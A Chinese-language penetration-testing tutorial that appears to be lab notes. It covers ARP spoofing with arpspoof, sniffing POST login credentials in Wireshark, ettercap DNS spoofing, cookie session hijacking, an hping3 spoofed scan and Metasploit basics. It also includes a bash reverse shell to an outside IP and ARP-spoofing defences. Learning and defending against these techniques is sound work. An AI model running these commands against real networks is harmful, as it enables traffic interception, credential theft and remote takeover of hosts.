ARP欺骗原理
ARP协议的缺陷:一台主机即使收到的ARP应答包并非请求得到的,也会将其插入ARP缓存表中。
① 黑客想嗅探同一局域网两台主机的通信,就分别给它们发送ARP应答包,让它们误认为对方的MAC地址就是黑客的MAC地址。
② 两台主机之间的数据包都会通过黑客,双方看似“直接”的通信,实际上都是通过黑客中转的。
主机发现
nmap -sP 192.168.5.0/24
-sP (Ping扫描)
该选项告诉Nmap仅仅 进行ping扫描 (主机发现),然后打印出对扫描做出响应的那些主机。 没有进一步的测试 (如端口扫描或者操作系统探测)。 这比列表扫描更积极,常常用于 和列表扫描相同的目的。它可以得到些许目标网络的信息而不被特别注意到。 对于攻击者来说,了解多少主机正在运行比列表扫描提供的一列IP和主机名往往更有价值。
系统管理员往往也很喜欢这个选项。 它可以很方便地得出 网络上有多少机器正在运行或者监视服务器是否正常运行。常常有人称它为 地毯式ping,它比ping广播地址更可靠,因为许多主机对广播请求不响应。
-sP选项在默认情况下, 发送一个ICMP回声请求和一个TCP报文到80端口。如果非特权用户执行,就发送一个SYN报文 (用connect()系统调用)到目标机的80端口。 当特权用户扫描局域网上的目标机时,会发送ARP请求(-PR), ,除非使用了--send-ip选项。 -sP选项可以和除-P0)之外的任何发现探测类型-P* 选项结合使用以达到更大的灵活性。 一旦使用了任何探测类型和端口选项,默认的探测(ACK和回应请求)就被覆盖了。 当防守严密的防火墙位于运行Nmap的源主机和目标网络之间时, 推荐使用那些高级选项。否则,当防火墙捕获并丢弃探测包或者响应包时,一些主机就不能被探测到。
尝试ping一下这个ip地址因为win7防火墙ping不通

ip route show查看网关地址:

使用arpspoof工具进行攻击:
arpspoof -i eth0 (eth0是网卡) -t(要进行欺骗的ip地址) (网关地址)
arpspoof -i eth0 -t 192.168.5.109 192.168.5.3
被攻击之前,遭受攻击主机的arp缓存表:

被攻击后,遭受攻击主机的arp缓存表:可以看到被修改成kali的mac地址:

根据以上说的arp协议缺陷,如果我们冒充网关主机C,不停的向以太网发送自己的ARP广播包,告知自己的ip-mac,此时其它主机就会被欺骗,更新我们C的ip-mac为网关主机的ip-mac,那么其它主机的数据包就会发送到C主机上,因为没有发给真正的网关,就会造成其它主机的网络中断。
此时是无法上网的
ctrl+z 中断后win7主机恢复上网
接下来,我们开始进行第二个阶段的攻击,嗅探受害机的网络数据包
因为在真实的攻击中,使受害机断网对攻击者来说并没有什么益处,最多就是恶心一下受害者而已,然而这并不能满足
我们强烈的渗透欲望(手动狗头)
想要达到目的,我们就要使得我们的kali具备类似路由器的功能,将受害机发来的网络请求包转发给真实的网关,再由真
实的网关转发到外网,接收返回包的过程同理
使用如下命令暂时开启kali的路由转发功能
echo 1 > /proc/sys/net/ipv4/ip_forward
(原本的0代表着不开启路由转发功能)

嗅探攻击
打开wireshark 嗅探流量
被攻击主机登录:
过滤出登录的用户名和密码:http.request.method==”POST” and ip.dst==202.119.224.11

使用drifnet可以查看到受攻击方正在查看的图片
drifnet - i eth0

欺骗检测
下载安天ARP检测工具查看是否被欺骗
发现攻击主机的MAC地址

防范措施
之前的原理中提到过,arp欺骗本质在于修改了受害
机的arp表,那么我们直接在arp中把网关的ip与mac
地址写死(也就是改为静态)那么就可以免遭arp攻击的”毒手“
win7中绑定ip与mac地址较为复杂:直接使用arp -s 命令无法绑定:
首先使用输入命令
netsh i i show in
找到本地连接的IDX
然后输入以下命令
netsh -c “i i” add neiGhbors 11 网关IP Mac地址,这里11是idx号
再使用arp -a命令查看arp表
发现192.168.119.2的记录已经变为静态
如果不是win7系统的话绑定就较为简单,使用
arp -s ip mac
命令即可绑定ip与mac
写在后面
arp攻击在内网中算是一种比较常见,比较简单,又比较容易被忽略的攻击手法
DNS欺骗
首先先打开ettercap的DNS文件进行编辑,在kali linux2.0下的文件路径为/etc/ettercap/etter.dns
- 代表所有域名 后边就是你要欺骗为的IP地址
继续选着Hosts list 列出扫到的主机
我们要进行的是DNS欺骗 使用插件:dns_spoof

会话劫持和注入
用wireshark抓包保存流量
使用ferret和hamster命令处理数据包流量
ferret -r 处理流量,生成cookies文件hamster.text
nc工具反弹shell
nc用来实现通信
在服务器上开启监听:nc -lvvnp 8888
bash -i >& /dev/tcp/116.62.127.33/8888 <&2
bash -i >& /dev/tcp/116.62.127.33/8888 0>&1
IP地址欺骗扫描工具Hping3(最好Linux下)
参考链接
hping3 -a 1.1.1.1 192.168.0.101 -S -c 100 -p 22
IP地址欺骗扫描探测22 端口
Metasploit使用
漏洞框架msf
使用的时候关闭目标防火墙,删除补丁
一、名词解释
名词解释:exploit 渗透攻击 、payload 攻击载荷、 shellcode 溢出代码 、module 模块、监听器 listener
*二、安装和启动
1.kali中已经集成了这个系统可以在kali root权限中输入msfconsole直接登录到msf
2.msf的升级和安装msf框架:
root@bogon:~# apt-get update
root@kali:~# apt-get install metasploit-framework //安装msf框架
root@kali:~#msfconsole //发现有提示数据库未启动,退出msf启动数据库
root@kali:~# systemctl start postgresql //启动数据库
root@kali:~# systemctl enable postgresql //允许开机自启动
root@kali:~# msfdb init //构建数据库缓存
root@kali:~#msfconsole
3.msf的安装目录:/usr/share/metasploit-framework/在这里cd modules进入模块
三、模块
Auxiliary:主要包含渗透测试中一些辅助性的脚本,这些脚本功能有扫描,嗅探,破解,注入,漏洞挖掘等
Encoders:各种编码工具 用于躲过入侵检测和过滤系统。
Exploits:主要包含了传说中的exp、0day、各种漏洞利用的脚本。主要的攻击代码全在这,这里边包含的exp的路径的命名规则是 系统/服务/模块,在使用exp是可以根据这个命名方法来找(也可以用search这条指令来找)。比如:use exploites/windows(系统)/vnc(服务)/realvnc_client(模块名)
Nops: NOP (No Operation or Next Operation) sled,由于IDS/IPS会检查数据包中不规则的数据,所以在某些场合下(比如针对溢出攻击),某些特殊的滑行字符串(NOPS x90x90…)则会因为被拦截而导致攻击失效,所以此时需要修改exploit中的NOPs.nops文件夹下的东西会在payload生成时用到(后面会有介绍)。比如我们打开php的NOPS生成脚本,就会发现它只是返回了指定长度的空格而已。(不理解没关系)
Payloads :这个单词翻译过来叫载荷:是攻击者发送给系统执行的指令(不包含exploits攻击阶段),payloads主要是在目标机执行的,而exploits是在本地机执行作用于目标机。命名规则是: 系统/类型/名称 比如: use payloads/windows/shell/bind_tcp
Post: 这个目录里放着msf 的exploits执行成功后,向目标机发送的一些功能性指令比如:提权,获取hash等。
四、Exploits
命名规则:系统/服务/名称
例如:windows/smb/ms08_067_netapi
RHOST:目标主机IP地址
RPORT:目标主机连接端口
Payload:有效的载荷,成功后返回shell
LHOST:攻击者的IP地址
LPORT:攻击者的端口
cd exploits后可以看见
需要哪一个系统的就进入哪一个系统,根据需要使用
五、payload模块
是在使用一个模块之后再去使用的。
命名规则:系统/类型/名称
例如:Windows/dllinject/reverse_tcp
类型命名规则
shell:上传一个shell。
dllinject:注入一个dll到进程。
patchup*:修补漏洞。
upexec:上传并执行一个文件。
meterpreter:高级的payload。
vncinject:高级的payload。
passive:高级的payload。
名称的命名规则
shell_find_tag:在一个已建立的连接上创建一个shell。
shell_reverse_tcp:反向连接到攻击者主机并创建一个shell。
bind_tcp:监听一个tcp连接。
reverse_tcp:反向建立tcp连接。
reverse_http:通过HTTP隧道通信并创建一个新用户添加到管理组。
add_user:创建一个新用户并添加到管理组。
xxx_ipv6_tcp:基于IPV6。
xxx_nonx_tcp:no execute或win7(NX是应用在CPU的一种可以防止缓冲区溢出的技术)。
xxx_ord_tcp:有序payload。
xxx_tcp_allports:在所有可能的端口。
六、常用命令
1.使用help 查看命令 或者在?后面接上命令
2.使用set 建立一个命令 如:set rhosts建立一个攻击主机
3.search :可以使用search cve编号或者ms编号,一般来说在exploit模块下是攻击工具
4.use 使用一个工具 show option 查看选项
5.exploit 扫描是否存在漏洞
6.back 返回
7.exit 退出



参考链接:
https://www.anquanke.com/post/id/151762
https://segmentfault.com/a/1190000018445377
